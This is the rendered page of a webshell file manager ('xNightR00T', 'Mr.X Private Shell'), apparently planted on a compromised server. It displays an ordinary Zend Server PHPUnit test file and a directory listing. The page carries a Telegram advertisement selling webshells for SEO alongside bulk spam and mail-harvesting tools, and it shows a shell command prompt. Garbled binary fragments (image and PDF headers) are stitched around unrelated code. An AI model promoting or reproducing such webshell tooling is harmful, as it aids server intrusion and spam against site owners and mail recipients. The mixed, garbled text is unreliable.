xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Configuration;

use Zend\Db\TableGateway\TableGateway;
use PHPUnit_Framework_TestCase,
    PHPUnit_Extensions_Database_TestCase,
    PHPUnit_Extensions_Database_DB_DefaultDatabaseConnection,
    Configuration\MapperDirectives,
    Configuration\MapperAbstractTest,
    ZendServer\Exception;

require_once 'tests/bootstrap.php';
require_once 'MapperAbstractTest.php';

class MapperDirectivesTest extends MapperAbstractTest
{
    protected $testedTable = 'ZSD_DIRECTIVES';

    public function testDirectiveExists()
    {
        self::assertTrue($this->getTestedMapper()->directiveExists('zend.data_dir'));
        self::assertFalse($this->getTestedMapper()->directiveExists('some_directive.that.does_not_exist'));
    }

    public function testselectAllDirectives()
    {
        $res  = $this->getConnection()->query("SELECT * FROM ".$this->getTableName());
        $rows = $res->fetchAll();

        $this->assertEquals(sizeof($this->getRows()), $this->getTestedMapper()->selectAllDirectives()->count(),
            "selectAllDirectivesCount1");
        $this->assertEquals(sizeof($this->getRows()), sizeof($rows), "selectAllDirectivesCount2");
    }

    public function testselectAllExtensionDirectives()
    {
        $res  = $this->getConnection()->query("SELECT * FROM ".$this->getTableName().' WHERE "EXTENSION"="Zend Code Tracing"');
        $rows = $res->fetchAll();

        $this->assertEquals(1, $this->getTestedMapper()->selectAllExtensionDirectives('Zend Code Tracing')->count(),
            "selectAllExtensionDirectivesCount1");
        $this->assertEquals(1, sizeof($rows), "selectAllExtensionDirectivesCount2");
    }

    public function testselectAllDaemonDirectives()
    {
        $res  = $this->getConnection()->query("SELECT * FROM ".$this->getTableName().' WHERE "DAEMON"="zdd"');
        $rows = $res->fetchAll();

        $this->assertEquals(1, $this->getTestedMapper()->selectAllDaemonDirectives('zdd')->count(),
            "selectAllDaemonDirectivesCount1");
        $this->assertEquals(1, sizeof($rows), "selectAllDaemonDirectivesCount2");
    }

    /**
     * @return MapperDirectives
     */
    protected function getTestedMapper()
    {
        if ($this->testedMapper) return $this->testedMapper;

        return $this->testedMapper = new MapperDirectives();
    }

    protected function getRows()
    {
        return array(
            // RELYING ON STRUCT FOUND IN getTableColumns()
            'error_log' => '"error_log","1","","/usr/local/zend/var/log/php.log","global","","/usr/local/zend/etc/php.ini"',
            'pdo_mysql.default_socket' => '"pdo_mysql.default_socket","1",""," /var/run/mysqld/mysqld.sock","pdo_mysql","","/usr/local/zend/etc/php.ini"',
            'zend_codetracing.max_string' => '"zend_codetracing.max_string","1","","48","Zend Code Tracing","","/usr/local/zend/etc/conf.d/codetracing.ini"',
            'zend.data_dir' => '"zend.data_dir","1","","/usr/local/zend/var","global","","/usr/local/zend/etc/ZendGlobalDirectives.ini"',
            'zend_deployment.webserver.apache.ctl' => '"zend_deployment.webserver.apache.ctl","0","","/usr/sbin/apache2ctl","","zdd","/usr/local/zend/etc/zdd.ini"',
        );
    }

    protected function getTableColumns()
    {
        return "NAME,TYPE,MEMORY_VALUE,DISK_VALUE,EXTENSION,DAEMON,INI_FILE";
    }
}

Filemanager

Name Type Size Permission Actions
Configuration Folder 0755
DdMapperTest.php File 26.44 KB 0644
IntegrationTest.php File 1.58 KB 0644
MapperAbstractTest.php File 3 KB 0644
MapperDirectivesTest.php File 3.26 KB 0644
MapperExtensionsTest.php File 2.38 KB 0644
TestSuite.php File 794 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1